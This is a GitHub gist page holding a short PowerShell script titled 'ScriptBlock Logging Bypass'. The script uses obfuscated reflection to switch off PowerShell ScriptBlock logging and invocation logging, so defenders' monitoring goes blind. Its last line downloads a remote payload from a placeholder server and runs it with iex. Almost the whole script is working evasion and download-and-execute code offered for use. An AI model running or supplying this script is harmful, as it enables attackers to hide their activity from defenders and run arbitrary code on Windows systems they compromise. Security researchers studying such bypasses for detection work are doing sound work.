-
-
Save ssssanr/692ac82e7c30abfc56234173dbf281c7 to your computer and use it in GitHub Desktop.
ScriptBlock Logging Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ScriptBlock Logging Bypass | |
# @cobbr_io | |
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null) | |
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 | |
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment